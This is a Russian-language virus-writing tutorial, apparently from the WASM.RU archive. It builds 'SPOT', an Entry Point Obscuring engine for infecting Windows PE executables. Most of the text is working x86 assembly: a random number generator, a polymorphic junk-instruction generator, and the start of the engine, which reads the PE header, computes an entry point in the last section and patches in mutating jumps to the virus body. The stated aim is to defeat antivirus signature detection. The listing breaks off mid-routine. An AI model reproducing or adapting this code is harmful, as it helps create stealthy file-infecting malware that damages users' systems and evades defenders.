Построение простого EPO мотора — Архив WASM.RU
В данной статье мы рассмотрим моделирование простого EPO мотора. На данную тему уже было написано несколько статей, но они в большей степени теоритические. В этом тексте будет рассмотрено, как теоритическое моделирование так и пример применения этой теории. В качестве примера будет разобран мой ЕPO мотор - SPOT.
Начнём мы прежде всего с определения EPO - Entry Point Obscuring. В переводе это означает - скрытие точки входа. В основном данное понятие применяется к компьютерным вирусам, которые не меняют в заголовке исполнимого файла точку входа. Точка входа это адрес с которого начинается выполнение программы при её запуске. Впервые данная техника была применена ещё в ДОС вирусах. В аспекте Windows систем данная техника была применена впервые в вирусе Cabanas. В чём же заключалась данная техника давайте рассмотрим на схеме.
|------------------------------------------| | Заголовок программы | | (в нём указан адрес запуска программы) | |------------------------------------------| | ..... | | Здесь идут различные секции | | ..... | |------------------------|-----------------| |-------| Переход на тело вируса | | | |------------------------| | | | Кодовая секция | | |------------------------------------------| | | ..... | | | Здесь идут различные секции | | | ..... | | |------------------------------------------| |------>| ..... | | ВИРУС | | ..... | |------------------------------------------|До вируса Cabanas в Windows системах такая техника не применялась. Обычно вирус изменял в заголовке точку входа редактировал виртуальный размер и дописывал своё тело в конец файла (обычно вирус создавал новую секцию). Потому как все вирусы меняли точку входа, то антивирусные программы просто проверяли куда указывает точка входа и потом уже легко или сложно детектировали вирус.
В вирусе Cabanas первые 5 байт кодовой секции вначале сохраняются в теле вируса, а потом перезаписываются jmp'ом на начало вируса. Таким образом не нужно менять точку входа, потому что вирус получит управление после первой инструкции перехода.
После этого пошла волна вариаций на ту же тему. Инструкции передающие управление вирусу усложнялись, видоизменялись. Иногда туда встраивали даже декрипторы, которые расшифровывали закриптованное вирусное тело и передавали на него управление. Но антивирусные программы то же стали проверять куда передают управление первые инструкции кодовой секции. Так же постоянно обновляются маски этих инструкций передающих управление на вирусное тело.
Для того чтобы усложнить анализ и детектирование данных инструкций мной был разработан мотор (модуль), который легко применять. Начнём мы посторение нашего мотора с того, что определимся чего нам необходимо достичь:
1) Чтобы наши инструкции не обнаруживались по маске (мутация)
2) Чтобы наши инструкции не сразу передавали управление вирусу или защите
от взлома программы (маскировка)3) Чтобы управление в конце концов получил наш код
Теперь попытаемся определится, как наш мотор должен работать:
1) В начало кода встраивается первая партия инструкций, но каждый раз она будет разная. Это будет реализовано за счёт разбавление одной значащей инструкции сложным разнообразным мусором.
2) Первое пятно будет передавать управление второму и так далее, пока последнее пятно не передаст управление инжектированному коду.
Рассмотрим на примере устройство i-ого пятна:
;------------------------------------------------------------------------------;
...................
mov eax,7385673
add ebx,9874
cmp ecx,edx
mov edx,7234
je $+2
jmp to_i_plus1_spot
add eax,456678
...................
;------------------------------------------------------------------------------;Каждое из пятен сильно мутирующее, то есть по маске его детектировать не возможно. Количество пятен случайно и расстояние между пятнами то же случайно.
Все байты которые перетираются пятнами, сохраняются в теле вируса.
Для работы мотора необходимы следующие модули:
1) Генератор случайных чисел (r_gen32.asm)
2) Генератор исполнимого мусора (t_gen32.asm)
Разберём пример генератора случайных чисел:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; [RANDOM IN RANGE GENERATOR V. 0.2] ; ; ; ; ############ ############# ############# ###### ### ; ; ############# ############## ############## ######## ### ; ; ## ### ### ### ### ### ### ; ; ############# ### ######## ############## ### ### ### ; ; ############# ### ######### ############## ### ### ### ; ; ## ### ### ### ### ### ### ### ; ; ## ### ############## ############## ### ######### ; ; ## ### ######### ############ ############# ### ####### ; ; ######### ; ; ; ; FOR MS WINDOWS ; ; ; ; BY SL0N ; ;------------------------------------------------------------------------------; ; MANUAL: ; ; ; ; RANGE OF RANDOM NUMBER -> EAX ; ; CALL BRANDOM32 ; ; ; ; RANDOM NUMBER IN RANGE -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; brandom32: call delta2 delta2: pop ebp sub ebp,offset delta2 ; Эта подпрограмма ; возвращает случайное число ; в диапазоне 0..eax-1 push edx ecx ; Сохраняем в стэке edx, ecx xor edx,edx ; Обнуляем edx imul eax,eax,100 ; Умножаем eax на 100 push eax ; и сохраняем eax в стэке call random32 ; Вызываем подпрограмму ; генерации случайного числа pop ecx ; Восстанавливаем значение ; из стэка в ecx div ecx ; Делим eax на ecx xchg eax,edx ; Помещаем остаток в eax xor edx,edx ; Обнуляем edx mov ecx,100 ; Помещаем в ecx - 100 div ecx ; Делим eax на ecx pop ecx edx ; Восстанавливаем ecx, edx ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RANDOM NUMBER GENERATOR SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; RANDOM NUMBER -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; random32: ; Генератор случайных чисел push edx ecx ; Сохраняем в стэке edx, ecx db 0fh,031h ; Инструкция rdtsc rcl eax,2 ; Далее идут различные add eax,12345678h ; математические random_seed = dword ptr $-4 ; преобразования adc eax,esp ; для получения, как xor eax,ecx ; можно более не зависимого xor [ebp+random_seed], eax ; числа add eax,[esp-8] ; rcl eax,1 ; pop ecx edx ; Восстанавливаем ecx, edx ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------;Ничего сложного в этом модуле, как вы можете видеть нет.
Теперь перейдём к разаработке генератора мусора. Потому как без него с таким
декриптором очень сложно достигнуть настоящего полиморфизма.Исполнимый код должен быть как можно более разнообразным. В идеале получившийся декриптор с мусором должен походить на обыкновенную программу с условными переходами и множеством функций.
Рассмотрим генератора мусора на примере:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; [TRASH GENERATOR V. 0.2] ; ; ; ; ############# ############# ############# ###### #### ; ; ############# ############## ############## ######## #### ; ; ### ### ### ### ### #### ; ; ### ### ######## ############## ### ### #### ; ; ### ### ######### ############## ### ### ### ; ; ### ### ### ### ### ### ### ; ; ### ############## ############## ### ######### ; ; ### ######### ############ ############# ### ####### ; ; ######### ; ; ; ; ; ; FOR MS WINDOWS ; ; ; ; BY SL0N ; ;------------------------------------------------------------------------------; ; MANUAL: ; ; ; ; LENGTH OF GARBAGE -> ECX ; ; BUFFER FOR GARBAGE -> EDI ; ; USELESS REGISTER N1 -> BH (0..7) ; ; USELESS REGISTER N2 -> BL (0..7) ; ; ; ; CALL GARBAGE ; ;------------------------------------------------------------------------------; ; IT GENERATES INSTRUCTIONS: ; ; ; ; MOV, MOVSX/ZX, XCHG, LEA, ADD/ADC/AND/OR/SUB/SBB/XOR/CMP ; ; INC/DEC, NOT/NEG, TEST, IMUL, ROL/ROR/RCL/RCR/SHL/SHR ; ; SHLD/SHRD, XADD, BSR/BSF, BT/BTC/BTR/BTS, JMP,REPZ/NZ ; ; PUSH/POP, X87, JX/JNX, STX, CLX, NOP, CALL ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; garbage: ; Подпрограмма генерации ; мусорных инструкций push edx ; Сохраняем в стэке push ecx ; edx, ecx, ebx, ebp, esi push esi ; push ebp ; push ebx ; call delta_offset1 ; delta_offset1: pop ebp ; Получаем дельта смещение sub ebp,offset delta_offset1 ; delta_offset: mov eax,19 ; Выбираем случайным образом call brandom32 ; вариант генерации мусорных ; инструкций shl eax,1 ; Умножаем eax на 2 lea esi,[ebp+mega_table] ; В esi смещение на таблицу ; относительных смещений add esi,eax ; к esi добавляем eax xor eax,eax ; Обнуляем eax lodsw ; В ax загружаем ; относительное смещение от ; метки delta_offset lea esi,[ebp+delta_offset] ; В esi кладём смещение ; метки delta_offset add eax,esi ; Добавляем смещение ; подпрограммы call eax ; Вызываем её jmp delta_offset ; Переход на delta_offset ;------------------------------------------------------------------------------; instr_je: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций mov eax,10 ; Выбираем случайным образом call brandom32 ; число от 0..9 ; add al,70h ; Добавляем 70h stosb ; и кладём его в буфер xor al,al ; Помещаем в al - 0 stosb ; и кладём его в буфер ; ; В итоге у нас получается ; случайно выбранный, ; условный, вырожденный ; переход: ; ................... ; je $+2 ; jae $+2 ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_not: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,0f7h ; Помещаем в al - 0f7h stosb ; и кладём его в буфер mov dl,0d0h ; Помещаем в dl - 0dh mov eax,2 ; Генерируем случайное число call brandom32 ; в диапазоне 0..2 shl eax,3 ; Умножаем на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; и кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция NOT/NEG: ; ................... ; not eax ; neg edx ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_je2: cmp cl,6 ; Если длина генерируемой jl one_byte ; инструкции меньше 6, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,0fh ; Помещаем в al - 0fh stosb ; и кладём его в буфер mov eax,10 ; Выбираем случайным образом call brandom32 ; число от 0..9 ; add al,80h ; Добавляем 80h stosb ; и кладём его в буфер xor eax,eax ; Помещаем в eax - 0 stosd ; и кладём его в буфер ; ; В итоге у нас получается ; случайно выбранный, ; условный, вырожденный ; переход: ; ................... ; je $+5 ; jae $+5 ; ................... sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_x87: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,0dch ; Кладём в al - 0dch stosb ; И помещаем al в буфер mov eax,02fh ; Генерируем случайное число call brandom32 ; в интервале 0..2eh add al,0c0h ; Добавляем к числу 0c0h stosb ; и помещаем сумму в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция сопроцессора: ; ................... ; fadd st(0),st ; fmul st(7),st ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_cmp: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций mov dl,3ah ; Помещаем в dl - 03ah mov eax,3 ; Получаем случайное число call brandom32 ; в диапазоне 0..2 add al,dl ; Добавляем к al - dl stosb ; Затем помещаем al в буфер call rnd_reg ; Получаем случайный регистр shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в cl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - cl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция CMP: ; ................... ; cmp eax,esp ; cmp al,0c0 ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_xor: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,33h ; Помещаем в al - 33h stosb ; И затем кладём это в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в cl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - cl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция XOR: ; ................... ; xor eax,esp ; xor edi,ecx ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_test: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций mov dl,084h ; Помещаем в dl - 084h mov eax,2 ; Получаем случайное число call brandom32 ; в диапазоне 0..1 add al,dl ; Добавляем к al - dl stosb ; И затем кладём это в буфер call rnd_reg ; Вызываем подпрограмму ; получения случайного ; регистра add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в cl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - cl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция XOR: ; ................... ; test eax,esp ; test al,cl ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_movr: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,8bh ; Помещаем в al - 8bh stosb ; Потом помещаем al в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add al,0c0h ; Добавляем к al - 0c0h mov dl,al ; помещаем в cl - al call rnd_reg ; Получаем случайный регистр add al,dl ; Добавляем к al - cl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция MOV: ; ................... ; mov eax,esp ; mov edi,ecx ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_push: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций call rnd_reg ; Получаем случайный регистр add al,50h ; Добавляем к al - 50h stosb ; Кладём al в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 8 stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции PUSH/POP: ; ................... ; push eax ; pop ecx ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_movc: cmp cl,5 ; Если длина генерируемой jl one_byte ; инструкции меньше 5, то ; мы переходим на генерацию ; однобайтовых инструкций call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,0b8h ; Добавляем к al - 0b8h stosb ; И кладём al в буфер call random32 ; Генерируем случайное stosd ; число ; В итоге у нас получается ; случайно выбранная ; инструкции MOV: ; ................... ; mov eax,12345678 ; mov ebp,00056800 ; ................... sub ecx,5 ; Уменьшаем счётчик на 5 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_jmp: cmp cl,5 ; Если длина генерируемой jl one_byte ; инструкции меньше 5, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,0e9h ; Кладём в al - 0b8h stosb ; И кладём al в буфер xor eax,eax ; Обнуляем eax stosd ; И кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции JMP: ; ................... ; jmp $+5 ; ................... sub ecx,5 ; Уменьшаем счётчик на 5 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_l32: cmp cl,6 ; Если длина генерируемой jl one_byte ; инструкции меньше 6, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,81h ; Кладём в al - 81h stosb ; И помещаем al в буфер mov eax,4 ; Получаем случайное число call brandom32 ; в диапазоне от 0..9 add al,0ch ; Добавляем к нему - 0ch mov dl,10h ; Кладём в dl - 10h mul dl ; Умножаем на dl mov dl,al ; Кладём в dl - al mov eax,2 ; Получаем случайное число call brandom32 ; в диапазоне от 0..1 shl al,3 ; Умножаем al на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И кладём al в буфер call random32 ; Генерируем случайное stosd ; число и кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции ADD: ; ................... ; add eax,12345678 ; or ebp,00056800 ; ................... sub ecx,6 ; Уменьшаем счётчик на 5 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_lea: cmp cl,6 ; Если длина генерируемой jl one_byte ; инструкции меньше 6, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,8dh ; Кладём в al - 8dh stosb ; И помещаем al в буфер mov dl,08h ; Кладём в dl - 08h call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров mul dl ; Добавляем к al - dl add al,5 ; Добавляем к al - 5 stosb ; И кладём al в буфер call random32 ; Генерируем случайное stosd ; число ; В итоге у нас получается ; случайно выбранная ; инструкции LEA: ; ................... ; lea eax,[12345678] ; lea ebp,[00056800] ; ................... sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_cl: cmp cl,6 ; Если длина генерируемой jl one_byte ; инструкции меньше 6, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,0e8h ; Кладём в al - e8h stosb ; И помещаем al в буфер xor eax,eax ; Обнуляем eax и помещаем stosd ; его в буфер call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,58h ; Добавляем к al - 8 stosb ; И опять кладём al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции CALL: ; ................... ; call $+5 ; pop eax ; ................... sub ecx,6 ; Уменьшаем счётчик на 6 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_shl: cmp cl,3 ; Если длина генерируемой jl one_byte ; инструкции меньше 3, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,0c1h ; Кладём в al - 0c1h stosb ; И помещаем al в буфер mov eax,6 ; Генерируем случайное число call brandom32 ; в диапазоне 0..5 shl eax,3 ; Умножаем его на 8 add al,0c0h ; Добавляем к нему - 0c0h mov dl,al ; Помещаем в dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер mov eax,256 ; Генерируем случайное число call brandom32 ; в диапазоне 0..255 stosb ; И кладём его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции SHL,ROL, ...: ; ................... ; ror eax,78 ; shl ebp,04 ; ................... sub ecx,3 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_a32: cmp cl,3 ; Если длина генерируемой jl one_byte ; инструкции меньше 3, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,0fh ; Кладём в al - 0fh stosb ; И помещаем al в буфер lea esi,[ebp+three_byte_opcode]; Кладём в esi указатель на ; таблицу частей 3-х байтных ; инструкций mov eax,14 ; Генерируем случайное число call brandom32 ; в диапазоне 0..13 add esi,eax ; Прибавляем к esi - eax movsb ; Перемещаем байт в буфер mov dl,0c0h ; Кладём в dl - 0с0h call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции XADD,IMUL, ...: ; ................... ; xadd eax,eax ; imul ebp,ecx ; ................... sub ecx,3 ; Уменьшаем счётчик на 3 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_xchg: cmp cl,2 ; Если длина генерируемой jl one_byte ; инструкции меньше 2, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,087h ; Кладём в al - 087h stosb ; И помещаем al в буфер mov dl,0c0h ; Кладём в dl - 0с0h call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров shl eax,3 ; Умножаем eax на 8 add dl,al ; Добавляем к dl - al call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции XCHG: ; ................... ; xchg eax,eax ; xchg ebp,ecx ; ................... sub ecx,2 ; Уменьшаем счётчик на 2 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_a16: cmp cl,4 ; Если длина генерируемой jl one_byte ; инструкции меньше 4, то ; мы переходим на генерацию ; однобайтовых инструкций mov al,066h ; Кладём в al - 066h stosb ; И помещаем al в буфер mov dl,0b8h ; Помещаем в dl - 0b8h call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,dl ; Добавляем к al - dl stosb ; И помещаем al в буфер mov eax,0ffffh ; Генерируем случайное число call brandom32 ; в диапазоне 0..65534 stosw ; И помещаем его в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции MOV: ; ................... ; mov ax,3452 ; mov bp,1234 ; ................... sub ecx,4 ; Уменьшаем счётчик на 4 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; one_byte: mov eax,3 ; Генерируем случайное число call brandom32 ; в диапазоне 0..2 cmp al,1 ; Если число = 1, то je instr_inc ; генерируем инструкцию INC cmp al,2 ; Если число = 2, то je instr_dec ; генерируем инструкцию DEC lea esi,[ebp+one_byte_opcode] ; Кладём в esi указатель на ; таблицу однобайтных ; инструкций mov eax,8 ; Генерируем случайное число call brandom32 ; в диапазоне 0..7 add esi,eax ; Прибавляем к esi - eax test ecx,ecx ; Если длина инструкции = 0, jz landing ; тогда переходим на конец movsb ; Помещаем инструкцию ; из таблицы в буфер ; В итоге у нас получается ; случайно выбранная ; инструкция из таблицы: ; ................... ; cld ; nop ; ................... dec ecx ; Уменьшаем ecx на единицу ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_inc: call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,40h ; Добавляем к al - 40h test ecx,ecx ; Если длина инструкции = 0, jz landing ; тогда переходим на конец stosb ; Помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции INC: ; ................... ; inc eax ; inc ebp ; ................... dec ecx ; Уменьшаем ecx на единицу ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; instr_dec: call free_reg ; Вызываем подпрограмму ; получения свободных ; регистров add al,48h ; Добавляем к al - 40h test ecx,ecx ; Если длина инструкции = 0, jz landing ; тогда переходим на конец stosb ; Помещаем al в буфер ; В итоге у нас получается ; случайно выбранная ; инструкции DEC: ; ................... ; dec eax ; dec ebp ; ................... dec ecx ; Уменьшаем ecx на единицу ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; landing: add esp,4 ; Выталкиваем их стэка уже pop ebx ; не нужный адрес возврата pop ebp ; pop esi ; Восстанавливаем регистры pop ecx ; из стэка. pop edx ; ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; FREE REGISTER SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; FREE REGISTER -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; free_reg: ; Подпрограмма получения ; свободного регистра push edx ecx ; Сохраняем в стэке edx, ecx another: ; call rnd_reg ; Получаем случайный регистр cmp al,bh ; Свободный регистр не может je another ; быть таким как reg1 cmp al,bl ; Свободный регистр не может je another ; быть таким как reg1 cmp al,00000100b ; Используем все регистры je another ; кроме esp pop ecx edx ; Восстанавливаем ecx, edx ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RANDOM REGISTER SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; RANDOM REGISTER -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; rnd_reg: ; Подпрограмма получения ; случайного регистра mov eax,8 ; Получаем случайное число call brandom32 ; в диапазоне 0..7 ret ; Возврат из подпрограммы ;------------------------------------------------------------------------------; mega_table: dw instr_x87 -delta_offset ; dw instr_movr -delta_offset ; dw instr_push -delta_offset ; dw instr_shl -delta_offset ; dw instr_cmp -delta_offset ; dw instr_xor -delta_offset ; dw one_byte -delta_offset ; dw instr_movc -delta_offset ; dw instr_je -delta_offset ; Таблица относительных dw instr_je2 -delta_offset ; смещений от метки dw instr_l32 -delta_offset ; delta_offset dw instr_jmp -delta_offset ; dw instr_lea -delta_offset ; dw instr_test -delta_offset ; dw instr_not -delta_offset ; dw instr_xchg -delta_offset ; dw instr_a32 -delta_offset ; dw instr_a16 -delta_offset ; dw instr_cl -delta_offset ; ;------------------------------------------------------------------------------; one_byte_opcode: std ; cld ; Таблица однобайтовых nop ; инструкций clc ; stc ; cmc ; db 0f2h ; rep db 0f3h ; repnz ;------------------------------------------------------------------------------; three_byte_opcode: db 0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; Таблица трёхбайтовых db 0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; инструкций ;------------------------------------------------------------------------------;Теперь мы готовы перейти к листингу нашего мотора:
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; [SIMPLE EPO TECHNIQUE ENGINE V. 0.1] ; ; ; ; ########### ########### ############ ############## ; ; ############# ############# ############## ############## ; ; ## ### ## ### ### ### ; ; ############ ############# ### ### ### ; ; ############ ############ ### ### ### ; ; ### ### ### ### ### ; ; ############# ### ############## ### ; ; ########### ### ############ ### ; ; ; ; FOR MS WINDOWS ; ; ; ; BY SL0N ; ;------------------------------------------------------------------------------; ; MANUAL: ; ; ADDRESS OF MAPPED FILE -> EDX ; ; ; ; CALL EPO ; ;------------------------------------------------------------------------------; ; MANUAL FOR RESTORE: ; ; CALL RESTORE ; ; ; ; ENTRY POINT -> EBX ; ;------------------------------------------------------------------------------; ; (+) DO NOT USE WIN API ; ; (+) EASY TO USE ; ; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ; ; (+) USE X87 INSTRUCTIONS ; ; (+) RANDOM NUMBER OF SPOTS ; ; (+) MUTABLE SPOTS ; ; (+) RANDOM LENGTH OF JUMP ; ;------------------------------------------------------------------------------; epo: push esi edi ; Сохраняем в стэке esi ; и edi mov [ebp+map_address],edx ; Сохраняем адрес файла в ; памяти call get_head ; Получаем PE заголовок ; call search_eip ; Вычисляем новую точку ; входа call find_code ; Ищем начало кода в этом ; файле call spots ; Помещаем туда переход ; на вирус pop edi esi ; Восстанавливаем из стэка ; edi и esi ret ; Выходим из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; PE HEADER SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; FILE IN MEMORY -> EDX ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; get_head: ; Подпрограмма получения ; PE заголовка pusha ; Сохраняем всё в стэке mov ebx,[edx + 3ch] ; add ebx,edx ; ; mov [ebp + PE_header],ebx ; сохраняем PE заголовок mov esi,ebx ; mov edi,esi ; mov ebx,[esi + 28h] ; mov [ebp + old_eip],ebx ; Сохраняем старую точку ; входа (eip) mov ebx,[esi + 34h] ; mov [ebp + image_base],ebx ; Сохраняем ; виртуальный адрес ; начала программы popa ; Вынимаем всё из стэка ret ; Выходим из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; NEW ENTRY POINT SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; search_eip: ; Подпрограмма вычисления ; новой точки входа pusha ; Сохраняем всё в стэке mov esi,[ebp+PE_header] ; Кладём в esi указатель ; На PE заголовок mov ebx,[esi + 74h] ; shl ebx,3 ; xor eax,eax ; mov ax,word ptr [esi + 6h] ; Количество объектов dec eax ; (нам нужен последний-1 mov ecx,28h ; заголовок секции) mul ecx ; * размер заголовка add esi,78h ; теперь esi указывает add esi,ebx ; на начало последнего add esi,eax ; заголовка секции mov eax,[esi+0ch] ; add eax,[esi+10h] ; Сохраняем новую точку mov [ebp+new_eip],eax ; входа popa ; Вынимаем всё из стэка ret ; Выходим из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; FIND START OF CODE SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN 